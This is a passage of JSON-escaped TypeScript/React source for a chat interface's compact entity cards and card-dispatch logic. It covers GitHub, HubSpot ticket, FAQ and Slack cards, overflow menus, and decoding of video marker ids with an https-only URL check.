className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/2 rounded bg-ods-bg/70\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n        </span>\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * Generic compact entity/document card for any chat type that doesn't\n * warrant a bespoke component.\n *\n * PURE PRESENTATION. Receives pre-composed `<a>` props via `anchorProps`\n * and renders the rest from the item shape.\n */\n\nimport { ExternalLink } from 'lucide-react';\nimport type React from 'react';\nimport { formatDateUTC as formatDate } from '../../../utils/format';\nimport { StatusBadge } from '../../ui/status-badge';\nimport {\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  safeHref,\n} from '../utils/compact-card-classes';\n\ntype BadgeScheme = 'success' | 'error' | 'warning' | 'cyan' | 'default';\n\nexport interface GenericEntityCardItem {\n  id: string;\n  title: string;\n  preview?: string | null;\n  url?: string | null;\n  subtitle?: string | null;\n  badge?: { text: string; scheme?: BadgeScheme } | null;\n  facts?: Array<{ label: string; value: string }> | null;\n  dateUpdated?: string | number | null;\n}\n\nexport interface GenericEntityCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface GenericEntityCardProps {\n  item: GenericEntityCardItem;\n  className?: string;\n  anchorProps?: GenericEntityCardAnchorProps;\n}\n\nexport function GenericEntityCard({ item, className, anchorProps }: GenericEntityCardProps) {\n  const href = safeHref(item.url);\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' });\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 flex-wrap items-center gap-1.5\">\n          <span className={`${COMPACT_CARD_TITLE} min-w-0 shrink`}>{item.title}</span>\n          {item.badge ? (\n            <StatusBadge\n              text={item.badge.text}\n              variant=\"button\"\n              colorScheme={item.badge.scheme || 'default'}\n              className=\"shrink-0\"\n            />\n          ) : null}\n        </span>\n        {item.subtitle ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-ods-text-secondary text-h6\">\n            <span className=\"min-w-0 truncate font-mono\">{item.subtitle}</span>\n          </span>\n        ) : null}\n        {item.preview ? (\n          <span className=\"flex min-w-0\">\n            <span className=\"line-clamp-2 whitespace-pre-wrap break-words text-ods-text-secondary text-h6\">\n              {item.preview}\n            </span>\n          </span>\n        ) : null}\n        {item.facts && item.facts.length > 0 ? (\n          <span className=\"flex min-w-0 flex-wrap items-center gap-x-3 gap-y-0.5 text-h6\">\n            {item.facts.map((f, i) => (\n              <span key={i} className=\"inline-flex min-w-0 items-center gap-1 truncate\">\n                <span className=\"shrink-0 text-ods-text-secondary/70\">{f.label}:</span>\n                <span className=\"truncate font-medium text-ods-text-primary\">{f.value}</span>\n              </span>\n            ))}\n          </span>\n        ) : null}\n        {dateText ? (\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_META_ROW}>\n              <span className=\"whitespace-nowrap\">{dateText}</span>\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {href ? (\n        <span className=\"flex h-5 shrink-0 items-center self-start text-ods-text-secondary\">\n          <ExternalLink className=\"h-3.5 w-3.5\" />\n        </span>\n      ) : null}\n    </>\n  );\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    );\n  }\n  return href ? (\n    <a href={href} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {body}\n    </span>\n  );\n}\n\nexport function GenericEntityCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 items-center gap-1.5\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex min-w-0 flex-col gap-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-3 w-1/4 rounded bg-ods-bg/70\" />\n      </span>\n      <span className=\"flex h-5 shrink-0 items-center self-start\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * Lib-side entity-card dispatch — single switch over canonical chat cards.\n *\n * Lib-portable refactor of the hub's `components/shared/entity-card-dispatch.tsx`.\n * Drops the hub-only imports:\n *   - `useNavLink`              → click routing flows through `<NavLinkAnchorViaRuntime>`\n *                                 (reads `useRequiredChatRuntime` internally) or\n *                                 the chat-runtime's `handleChatNavClick` helper.\n *   - `currentPlatform`         → runtime.source supplies the identifier.\n *   - `buildContentURL`         → URLs arrive pre-composed by the server's\n *                                 RAG mapper (`ref.url`); the card just renders.\n *   - `tableIdForDocumentType`  → only relevant for the hub-side ContentRef\n *                                 reverse-projection — not needed for chat\n *                                 inline cards.\n *   - hub `program-configs`     → host provides via `ChatCardRenderOptions.extras`.\n *   - `buildProductReleaseCardProps` → ditto, host provides via `extras`.\n *\n * Adding a new chat-inline card type:\n *   1. Implement the `size='sm'` branch + skeleton in `./<card>.tsx` (pure\n *      presentation, accepts `href` + `targetPlatform`).\n *   2. Add one entry to `CHAT_CARD_REGISTRY` below.\n *\n * Public entry points consumed by the chat shell:\n *   - `renderChatInlineEntityCard(ref, opts)` — top-level marker dispatch\n *     (block-card hoist for video refs, otherwise compact card).\n *   - `<ChatCardLoader />` — fetch + skeleton + render the compact card for\n *     fetch-mode entries.\n */\n\nimport React, { type ReactNode } from 'react';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport Image from '../../../embed-shims/next-image';\nimport { useRouter } from '../../../embed-shims/next-navigation';\nimport { formatDateShort } from '../../../utils/date-formatters';\nimport { faqItemAnchor } from '../../../utils/faq-anchor';\nimport {\n  formatDateUTC as formatDate,\n  formatDurationCompact,\n  formatTimeWithTimezone,\n  formatDurationFromRange,\n} from '../../../utils/format';\nimport { MingoIcon } from '../../icons';\nimport { ArrowRightUpIcon } from '../../icons-v2-generated/arrows/arrow-right-up-icon';\nimport { ClickupLogoIcon } from '../../icons-v2-generated/brand-logos/clickup-logo-icon';\nimport { SlackLogoGreyIcon } from '../../icons-v2-generated/brand-logos/slack-logo-grey-icon';\nimport { BuildingsIcon } from '../../icons-v2-generated/buildings/buildings-icon';\nimport { ChartBar01VerIcon } from '../../icons-v2-generated/charts/chart-bar-01-ver-icon';\nimport { ChartPieIcon } from '../../icons-v2-generated/charts/chart-pie-icon';\nimport { PresentationBarIcon } from '../../icons-v2-generated/charts/presentation-bar-icon';\nimport { PresentationLineIcon } from '../../icons-v2-generated/charts/presentation-line-icon';\nimport { CodeIcon } from '../../icons-v2-generated/coding/code-icon';\nimport { CodingCommitIcon } from '../../icons-v2-generated/coding/coding-commit-icon';\nimport { CodingPullRequestIcon } from '../../icons-v2-generated/coding/coding-pull-request-icon';\nimport { CalendarIcon } from '../../icons-v2-generated/date-and-time/calendar-icon';\nimport { ClipboardListIcon } from '../../icons-v2-generated/documents/clipboard-list-icon';\nimport { FileContentIcon } from '../../icons-v2-generated/documents/file-content-icon';\nimport { NewspaperIcon } from '../../icons-v2-generated/documents/newspaper-icon';\nimport { BankIcon } from '../../icons-v2-generated/finance/bank-icon';\nimport { CoinsExchangeCurrencyIcon } from '../../icons-v2-generated/finance/coins-exchange-currency-icon';\nimport { MoneyBillDollarIcon } from '../../icons-v2-generated/finance/money-bill-dollar-icon';\nimport { MicrophoneIcon } from '../../icons-v2-generated/household/microphone-icon';\nimport { AlertTriangleIcon } from '../../icons-v2-generated/interface/alert-triangle-icon';\nimport { EyeIcon } from '../../icons-v2-generated/interface/eye-icon';\nimport { CompassIcon } from '../../icons-v2-generated/map-and-travel/compass-icon';\nimport { MapIcon } from '../../icons-v2-generated/map-and-travel/map-icon';\nimport { Megaphone01Icon } from '../../icons-v2-generated/shopping/megaphone-01-icon';\nimport { TagIcon } from '../../icons-v2-generated/shopping/tag-icon';\nimport { CheckSquareIcon } from '../../icons-v2-generated/signs-and-symbols/check-square-icon';\nimport { QuestionCircleIcon } from '../../icons-v2-generated/signs-and-symbols/question-circle-icon';\nimport { TrophyIcon } from '../../icons-v2-generated/sport/trophy-icon';\nimport { Rocket02Icon } from '../../icons-v2-generated/vehicles-and-delivery/rocket-02-icon';\nimport { TruckFastIcon } from '../../icons-v2-generated/vehicles-and-delivery/truck-fast-icon';\nimport type { ActionsMenuGroup } from '../../ui/actions-menu';\nimport { useChatPanel } from '../chat-panel-context';\nimport type { ChatRef } from '../chat-ref.types';\nimport { useChatCardItem } from '../hooks/use-chat-card-item';\nimport { MingoInfoCard, MingoInfoCardSkeleton, type MingoInfoCardStatus } from '../mingo-info-card';\nimport { NavLinkAnchorViaRuntime } from '../nav-link-anchor-via-runtime';\nimport { SourceActionButton } from '../source-action-button';\nimport type { PrReviewState, GitHubActivityKind } from '../types/entities/github-activity';\nimport { formatInvestorUpdatePeriod } from '../types/entities/investor-update';\nimport type { BaseProgramItem, ProgramConfig } from '../types/entities/program-types';\nimport { getStatusColorScheme } from '../utils/agent-status-message';\nimport { resolveHrefForRuntime } from '../utils/chat-nav-resolution';\nimport { safeHref } from '../utils/compact-card-classes';\nimport { executeNavigation } from '../utils/execute-navigation';\nimport { clickupTaskUrl } from '../utils/external-app-urls';\nimport { computeIsNewTab, buildAnchorProps } from '../utils/nav-anchor-props';\nimport { resolveFetchedCardHref, pickFetchedCardHref, readFetchedCardTitle } from '../utils/resolve-fetched-card-href';\nimport { getSourceLabel } from '../utils/source-icons';\nimport { resolveSourceRowCTA, resolveSourceIcon, sourceRowCtxFromRuntime } from '../utils/source-row-cta';\nimport { BlockCard } from './block-card';\nimport { BlogCardSkeleton } from './blog-card';\nimport { CampaignCardAdminSkeleton } from './campaign-card-admin';\nimport { CaseStudyCardSkeleton } from './case-study-card';\nimport { ChatVideoEntityCard } from './chat-video-entity-card';\nimport { CustomerInterviewCardSkeleton } from './customer-interview-card';\nimport { DeletedDataCard } from './deleted-data-card';\nimport {\n  parseGithubTitle,\n  formatActivityId,\n  kindLabel as githubKindLabel,\n  reviewStateLabel,\n} from './github-activity-card';\nimport { InvestorUpdateCardSkeleton } from './investor-update-card';\nimport { OnboardingGuideCardSkeleton } from './onboarding-guide-card';\nimport { ProductReleaseCardSkeleton, type ProductReleaseCardProps } from './product-release-card';\nimport { defaultBuildProductReleaseCardProps } from './product-release-card-defaults';\nimport { ProgramCardSkeleton } from './program-card';\nimport { RoadmapCardSkeleton } from './roadmap-card';\nimport { TaskTypeIcon } from './task-type-icon';\n\n// =============================================================================\n// Public option / extras shape\n// =============================================================================\n\n/**\n * A hydrated entity row as returned by `useChatCardItem` (the per-type list /\n * entity-refs APIs). Row shapes differ per document type, so this declares\n * every column the dispatch actually reads — all optional, since each card\n * wrapper touches only the subset its own type carries. Unknown extra columns\n * ride along untyped via the index signature (the row is passed whole to the\n * host's `buildProductReleaseCardProps` / `composeContentUrl` seams).\n */\nexport interface ChatCardItem {\n  [key: string]: unknown;\n  id?: string | number | null;\n  title?: string | null;\n  name?: string | null;\n  summary?: string | null;\n  description?: string | null;\n  content?: string | null;\n  url?: string | null;\n  status?: string | null;\n  /** Server-provided integration logo URL (ClickUp, …) on roadmap rows. */\n  icon?: string | null;\n  date?: string | null;\n  version?: string | number | null;\n  /** Blog rows: joined category records. */\n  categories?: Array<{ name?: string | null } | null> | null;\n  featured_image?: string | null;\n  og_image_url?: string | null;\n  /** Marketing-campaign rows. */\n  goals?: unknown[] | null;\n  start_date?: string | null;\n  /** Case-study / customer-interview joins. */\n  msp?: { name?: string | null } | null;\n  user?: { full_name?: string | null } | null;\n  video_summary?: string | null;\n  /** Investor-update rows. */\n  update_number?: string | number | null;\n  strategic_update?: string | null;\n  period_start?: string | null;\n  period_end?: string | null;\n  /** Program (podcast / webinar / event) rows. */\n  cover_url?: string | null;\n  duration_seconds?: number | null;\n  location_name?: string | null;\n  start_at?: string | null;\n  end_at?: string | null;\n  timezone?: string | null;\n  /** Roadmap / task rows — ClickUp custom item type id. */\n  customItemId?: number | null;\n  /** ChatRef-shaped rows carry the SSOT video keys under `metadata`. */\n  metadata?: Record<string, unknown> | null;\n  /** Content rows carry the canonical video columns instead. */\n  custom_video_url?: string | null;\n  main_video_url?: string | null;\n  main_video_thumbnail?: string | null;\n  youtube_url?: string | null;\n  testimonial_video_url?: string | null;\n  highlight_video_url?: string | null;\n  highlight_video_thumbnail?: string | null;\n}\n\n/**\n * A `ProgramConfig` for an unspecified program item shape.\n *\n * `ProgramConfig<T>` uses `T` only for `dateField: keyof T`, and neither the\n * dispatch nor the related-content rail reads `dateField` — they thread the\n * config straight into `<ProgramCard>`. Widening the item type to\n * \"BaseProgramItem plus arbitrary extra columns\" makes `keyof T` collapse to\n * `string`, so every concrete host config (`ProgramConfig<PodcastItem>`,\n * `<WebinarItem>`, `<EventItem>`) still assigns — without `any`.\n */\nexport type AnyProgramConfig = ProgramConfig<BaseProgramItem & Record<string, unknown>>;\n\n/** Optional host-side extras threaded through to render functions whose\n *  derived props can't be computed in lib alone (program configs and the\n *  product-release prop builder live in hub land). When omitted, the\n *  affected card types render `null` from the dispatch — the chat shell's\n *  fallback path takes over. */\nexport interface ChatCardDispatchExtras {\n  /** Per-program-type config map. Keyed by chat documentType\n   *  (`podcast` / `webinar` / `event`). Each entry is the canonical\n   *  `<ProgramConfig>` the `<ProgramCard>` expects. */\n  programConfigs?: {\n    podcast?: AnyProgramConfig;\n    webinar?: AnyProgramConfig;\n    event?: AnyProgramConfig;\n  };\n  /** Derive the `<ProductReleaseCard>` prop bundle from a hydrated\n   *  release row. Hub callers wire `buildProductReleaseCardProps` from\n   *  `lib/utils/product-release-card-props.ts`. */\n  buildProductReleaseCardProps?: (\n    release: unknown,\n  ) => Omit<ProductReleaseCardProps, 'size' | 'title' | 'summary' | 'version' | 'anchorProps'>;\n  /** Build a branded OG placeholder URL from an entity title. Compact chat-\n   *  inline cards (`size='sm'` for blog/case-study/customer-interview/\n   *  investor-update/onboarding-guide) pass the result as `placeholderUrl`\n   *  so the card's image slot renders the OG fallback instead of an empty\n   *  span when the entity has no `featured_image`. Hub callers wire\n   *  `buildOgPlaceholderUrl` from `lib/utils/entity-image.ts`. Optional —\n   *  when omitted, the compact cards keep the existing empty-slot\n   *  behavior. */\n  buildOgPlaceholderUrl?: (title: string) => string | null;\n}\n\n/** Per-card render options threaded through from the chat shell. */\nexport interface ChatCardRenderOptions {\n  baseRoute?: string;\n  chipBasePlatform?: string;\n  /** Host-supplied builders for cards whose derived props live in hub\n   *  land (programs + product_release). When omitted, these card types\n   *  render `null` and the shell falls back to title text. */\n  extras?: ChatCardDispatchExtras;\n  /** Pre-computed new-tab decision for the inner anchor's `target`\n   *  attribute. Required — always computed by `ChatCardLoader` via the\n   *  same rule source chips use, so the rendered `<a target>` matches\n   *  whatever `ChatCardNavWrap` + `handleChatNavClick` decide at click\n   *  time. */\n  isNewTab: boolean;\n  /** Host-provided \"Ask Mingo\"/\"Display\" affordance for this card, resolved\n   *  once by `ChatCardLoader`. Each wrapper threads it into its \"⋯\" menu via\n   *  `cardMenuGroups`. Undefined when the host supplied no `onDiscuss`/\n   *  `onDisplay` (then the menu shows only \"Open in new tab\"). */\n  discuss?: CardDiscussAction;\n}\n\n// =============================================================================\n// Per-type \"no-fetch\" wrapper components (ChatRef carries everything).\n// Each wrapper receives `isNewTab` as a prop — `ChatCardLoader` computes\n// it ONCE via `computeIsNewTab` against the resolved `chatRef.url` and\n// threads it through `renderOpts`. Wrappers must NOT call\n// `computeIsNewTab` themselves; the parent's decision is the single\n// source of truth for the rendered `<a target>` AND `ChatCardNavWrap`'s\n// close-on-nav gate.\n// =============================================================================\n\n/** Leading glyph per GitHub activity kind. */\nfunction githubKindIcon(kind: GitHubActivityKind) {\n  switch (kind) {\n    case 'pull_request':\n      return <CodingPullRequestIcon size={24} />;\n    case 'pr_review':\n      return <CodeIcon size={24} />;\n    case 'commit':\n    default:\n      return <CodingCommitIcon size={24} />;\n  }\n}\n\n/** PR review state → status-pill colour. */\nfunction reviewStateToVariant(state: PrReviewState): MingoInfoCardStatus['variant'] {\n  switch (state) {\n    case 'APPROVED':\n      return 'success';\n    case 'CHANGES_REQUESTED':\n      return 'error';\n    case 'PENDING':\n      return 'warning';\n    case 'COMMENTED':\n    case 'DISMISSED':\n    default:\n      return 'grey';\n  }\n}\n\nfunction GitHubChatCard({\n  chatRef,\n  kind,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  kind: GitHubActivityKind;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  // Reuse the card's own title parser so the display title + review state\n  // read identically here and in the (legacy) GitHubActivityCard.\n  const { display, reviewState } = parseGithubTitle(chatRef.title, kind);\n  const title = kind === 'pr_review' ? display.replace(/^by\\s+/i, '').trim() || 'Reviewer' : display;\n\n  // Review state pill for reviews; otherwise the neutral activity-type pill.\n  const status: MingoInfoCardStatus =\n    kind === 'pr_review' && reviewState\n      ? { label: reviewStateLabel(reviewState), variant: reviewStateToVariant(reviewState) }\n      : { label: githubKindLabel(kind), variant: 'grey' };\n\n  // Description: \"<id> · <date>\" (short SHA / #num, then updated date).\n  const idLabel = formatActivityId(chatRef.id, kind);\n  const dateText = formatDate(chatRef.date ?? null, { fallback: '', timezone: 'local' });\n  const description = [idLabel, dateText].filter(Boolean).join(' · ') || undefined;\n\n  return (\n    <MingoInfoCard\n      title={title}\n      description={description}\n      icon={githubKindIcon(kind)}\n      status={status}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"Activity actions\"\n    />\n  );\n}\n\n/** The host-provided \"Ask Mingo\" / \"Display\" affordance, resolved once per\n *  card in `ChatCardLoader` and threaded through `renderOpts.discuss`. Mirrors\n *  the legacy `ChatCardWithDiscuss` source-row button, relocated into the \"⋯\"\n *  menu. */\nexport interface CardDiscussAction {\n  label: string;\n  icon: React.ReactNode;\n  run: () => void;\n}\n\n/** External-app deep-link row for a card's \"⋯\" menu (e.g. \"Open in ClickUp\").\n *  Always opens in a new tab — the destination is a third-party app, never a\n *  hub route. */\nexport interface CardExternalLink {\n  label: string;\n  icon: React.ReactNode;\n  href: string;\n}\n\n/** Overflow-menu groups for a card (Figma `7740:55075`): the optional \"Ask\n *  Mingo\"/\"Display\" item (when the host supplied a handler) followed by \"Open\n *  Details\" — whose main row navigates to the card (same tab) and whose trailing\n *  ↗ side-button opens it in a new tab — then the optional external-app\n *  deep-link row (new tab). Returns `undefined` when none applies so the \"⋯\"\n *  button is omitted entirely. The href is already absolute (ChatCardLoader\n *  pre-resolves it). */\nfunction cardMenuGroups(\n  href: string | null | undefined,\n  discuss?: CardDiscussAction,\n  /** Per-entity override for the \"Open Details\" row — e.g. HubSpot tickets use\n   *  `{ label: 'Open Ticket Details', icon: <HubSpot logo> }` so the row reads\n   *  in the entity's own terms and mirrors the card's leading icon. Defaults to\n   *  a generic \"Open Details\" + eye glyph. */\n  openDetails?: { label: string; icon: React.ReactNode },\n  /** Optional trailing deep-link into the entity's own third-party app\n   *  (ClickUp task, …). Rendered after \"Open Details\", always new-tab. */\n  externalLink?: CardExternalLink,\n) {\n  const items: ActionsMenuGroup['items'] = [];\n  if (discuss) {\n    items.push({\n      id: 'discuss',\n      label: discuss.label,\n      icon: discuss.icon,\n      onClick: discuss.run,\n    });\n  }\n  if (href) {\n    items.push({\n      id: 'open-details',\n      label: openDetails?.label ?? 'Open Details',\n      icon: openDetails?.icon ?? <EyeIcon size={20} />,\n      // Main row → open the entity (same tab, soft Link nav).\n      href,\n      // Trailing 40px ↗ side-button → open in a new tab.\n      iconAction: {\n        icon: <ArrowRightUpIcon size={20} />,\n        'aria-label': 'Open in new tab',\n        href,\n        openInNewTab: true,\n      },\n    });\n  }\n  if (externalLink) {\n    items.push({\n      id: 'open-external',\n      label: externalLink.label,\n      icon: externalLink.icon,\n      href: externalLink.href,\n      openInNewTab: true,\n    });\n  }\n  return items.length ? [{ items }] : undefined;\n}\n\n/** Title-case a status/priority token (\"WAITING_ON_US\" → \"Waiting on us\"). */\nfunction formatStatusToken(token: string | undefined): string | undefined {\n  if (!token) return undefined;\n  const lower = token.toLowerCase().replace(/_/g, ' ');\n  return lower.charAt(0).toUpperCase() + lower.slice(1);\n}\n\n/** HubSpot ticket status → `MingoInfoCard` status pill (Closed→green,\n *  Open→amber, anything else→neutral grey). */\nfunction hubspotStatusToVariant(status: string | undefined): MingoInfoCardStatus['variant'] {\n  const s = (status || '').toUpperCase();\n  if (s === 'CLOSED') return 'success';\n  if (s === 'OPEN') return 'warning';\n  return 'grey';\n}\n\n/**\n * Decode a SELF-DESCRIBING `[card://video:<id>]` marker id into playable\n * video metadata — the paired decoder for the hub's\n * `DERIVE_HANDLES_BY_KIND` id minting (keep in lockstep). Embedded\n * videos have no backing table row, so the marker id IS the payload;\n * this is what makes video cards transport-independent (no fetch, no\n * server-shipped metadata).\n *   - bare 11-char id → YouTube (lite-youtube facade takes the bare id)\n *   - `mux-<playbackId>` → `https://stream.mux.com/<playbackId>.m3u8`\n *   - `mp4-<base64url(url)>` → decoded https URL\n * Legacy pre-2026-08 sha1-hash ids (`<kind>-<10 hex>`) and anything\n * undecodable return null — the caller falls through to the loader,\n * which renders the marker as plain text (same anti-hallucination\n * posture as every other card type).\n */\nfunction decodeVideoMarkerId(id: string): { videoUrl?: string; youtubeUrl?: string } | null {\n  // Prefix checks FIRST: an id like `mux-1234567` (11 chars) would also\n  // satisfy the bare-YouTube-id pattern below.\n  const mux = id.match(/^mux-([A-Za-z0-9_-]+)$/);\n  if (mux) {\n    // Legacy sha1 ids are exactly 10 lowercase hex — not playback ids.\n    if (/^[0-9a-f]{10}$/.test(mux[1])) return null;\n    return { videoUrl: `https://stream.mux.com/${mux[1]}.m3u8` };\n  }\n  const mp4 = id.match(/^mp4-([A-Za-z0-9_-]+)$/);\n  if (mp4) {\n    if (/^[0-9a-f]{10}$/.test(mp4[1])) return null;\n    try {\n      const b64 = mp4[1].replace(/-/g, '+').replace(/_/g, '/');\n      const url = atob(b64);\n      // https-only — the id is model-emitted text; never let a marker\n      // smuggle a non-https src into a player.\n      if (!/^https:\\/\\//.test(url)) return null;\n      return { videoUrl: url };\n    } catch {\n      return null;\n    }\n  }\n  if (/^[A-Za-z0-9_-]{11}$/.test(id)) return { youtubeUrl: id };\n  return null;\n}\n\n/** Read hero-video metadata off a FETCHED item — the API-driven\n *  replacement for the retired refs-frame `metadata.videoUrl` check. Two item\n *  shapes: ChatRef-shaped items (per-object hydration routes) carry the\n *  SSOT `metadata` keys directly; content rows (public list APIs) carry\n *  the canonical columns (`custom_video_url` for recordings,\n *  `main_video_url` elsewhere — see the hub configs' videoUrlColumns).\n *  Returns null when the item carries no video (compact card only). */\nfunction itemVideoMetadata(item: ChatCardItem | undefined): Record<string, string> | null {\n  const pick = (...vals: unknown[]): string | undefined => {\n    for (const v of vals) if (typeof v === 'string' && v.length > 0) return v;\n    return undefined;\n  };\n  const m: Record<string, unknown> = item?.metadata ?? {};\n  const out: Record<string, string> = {};\n  const videoUrl = pick(m.videoUrl, item?.custom_video_url, item?.main_video_url);\n  // `testimonial_video_url` is the case-study mapper's youtube column.\n  const youtubeUrl = pick(m.youtubeUrl, item?.youtube_url, item?.testimonial_video_url);\n  const highlightVideoUrl = pick(m.highlightVideoUrl, item?.highlight_video_url);\n  // `featured_image` is the customer-interview mapper's poster column.\n  const videoPoster = pick(\n    m.videoPoster,\n    item?.main_video_thumbnail,\n    item?.highlight_video_thumbnail,\n    item?.featured_image,\n  );\n  const highlightVideoPoster = pick(m.highlightVideoPoster, item?.highlight_video_thumbnail);\n  if (videoUrl) out.videoUrl = videoUrl;\n  if (youtubeUrl) out.youtubeUrl = youtubeUrl;\n  if (highlightVideoUrl) out.highlightVideoUrl = highlightVideoUrl;\n  if (videoPoster) out.videoPoster = videoPoster;\n  if (highlightVideoPoster) out.highlightVideoPoster = highlightVideoPoster;\n  return out.videoUrl || out.youtubeUrl || out.highlightVideoUrl ? out : null;\n}\n\n/** LOUD hydration-failure card — a card that fails to load renders a\n *  VISIBLE error state instead of silently disappearing (explicit\n *  product decision 2026-08-13: broken must look broken, both for\n *  transient fetch failures and for ids the API doesn't recognize). */\nfunction CardLoadFailure({ label, id, detail }: { label: string; id: string; detail: string }) {\n  return (\n    <MingoInfoCard\n      title={label}\n      description={`${detail} · id: ${id}`}\n      icon={<AlertTriangleIcon size={24} />}\n      status={{ label: 'FAILED', variant: 'error' }}\n      menuAriaLabel=\"Card failed to load\"\n    />\n  );\n}\n\n/** Build the display ref for a hydrated card PURELY from the fetched API\n *  item — the item IS a ChatRef (minted server-side by the per-object\n *  ref-building SSOTs), so the API is the single display-data\n *  layer. The marker's ref contributes ONLY the loader-resolved\n *  `url`/`targetPlatform` (embed-origin prefixing of the item's own url\n *  via `fallbackHref`) — never titles/previews/metadata. */\nfunction fetchedItemDisplayRef(item: unknown, chatRef: ChatRef): ChatRef {\n  const it = item as ChatRef;\n  return {\n    ...it,\n    url: chatRef.url ?? it.url ?? null,\n    targetPlatform: chatRef.targetPlatform ?? it.targetPlatform ?? null,\n  };\n}\n\n/** FAQ variant — `/api/faqs?ids=` returns faq-shaped rows\n *  (`question`/`answer`/`section`), not ChatRefs. Same single-layer rule:\n *  display data comes from the API row only. */\nfunction fetchedFaqDisplayRef(item: unknown, chatRef: ChatRef): ChatRef {\n  const it = item as { question?: unknown; answer?: unknown; section?: unknown };\n  const answer = typeof it?.answer === 'string' && it.answer.trim().length > 0 ? it.answer.trim() : null;\n  return {\n    type: 'faq',\n    id: chatRef.id,\n    sourceRepo: chatRef.sourceRepo,\n    title: typeof it?.question === 'string' && it.question ? it.question : chatRef.id,\n    url: chatRef.url ?? null,\n    ...(answer ? { preview: answer.length > 400 ? `${answer.slice(0, 397)}…` : answer } : {}),\n    metadata: typeof it?.section === 'string' && it.section ? { section: it.section } : {},\n  };\n}\n\nfunction HubspotTicketChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const status = typeof chatRef.metadata?.status === 'string' ? chatRef.metadata.status : undefined;\n  const statusLabel = typeof chatRef.metadata?.statusLabel === 'string' ? chatRef.metadata.statusLabel : undefined;\n  const statusText = statusLabel ?? formatStatusToken(status);\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<TagIcon size={24} />}\n      status={statusText ? { label: statusText, variant: hubspotStatusToVariant(status) } : undefined}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss, {\n        label: 'Open Ticket Details',\n        icon: <TagIcon size={20} />,\n      })}\n      menuAriaLabel=\"Ticket actions\"\n    />\n  );\n}\n\n/** FAQ Q&A — title=question, body=answer preview, optional section pill.\n *  No-fetch card: every field the renderer needs already lives on the\n *  ChatRef (hub's `FAQ_MAPPER.toRetrievedDoc` populates `title` /\n *  `preview` / `url` / `targetPlatform`, and the section name is threaded\n *  through `metadata.section` for the badge). The card itself stays pure\n *  presentation — same shape as `SlackChatCard` / `HubspotTicketChatCard`. */\nfunction FaqChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const section = typeof chatRef.metadata?.section === 'string' ? chatRef.metadata.section.trim() : undefined;\n  const statusLabel = section && section.length > 0 ? section : 'FAQ';\n  return (\n    <MingoInfoCard\n      title={chatRef.title}\n      description={chatRef.preview ?? undefined}\n      icon={<QuestionCircleIcon size={24} />}\n      status={{ label: statusLabel, variant: 'grey' }}\n      anchorProps={buildAnchorProps(chatRef.url, isNewTab)}\n      menuGroups={cardMenuGroups(chatRef.url, discuss)}\n      menuAriaLabel=\"FAQ actions\"\n    />\n  );\n}\n\nfunction SlackChatCard({\n  chatRef,\n  isNewTab,\n  discuss,\n}: {\n  chatRef: ChatRef;\n  isNewTab: boolean;\n  discuss?: CardDiscussAction;\n}) {\n  const channelName =\n    typeof chatRef.metadata?.channelName === 'string' ? chatRef.metadata.channelName.trim() : undefined;\n  // Prefix the channel (with a leading \"#\") onto the author title, e.g.\n  // \"Pavlo Shylo · #general\".\n  const channelPretty = channelName ? (channelName.startsWith('#') ? channelName : `#${channelName}`) : undefined;\n  const title = channelPretty ? `${chatRef.title} · ${channelPretty}` : chatRef.title;\n  return (\n    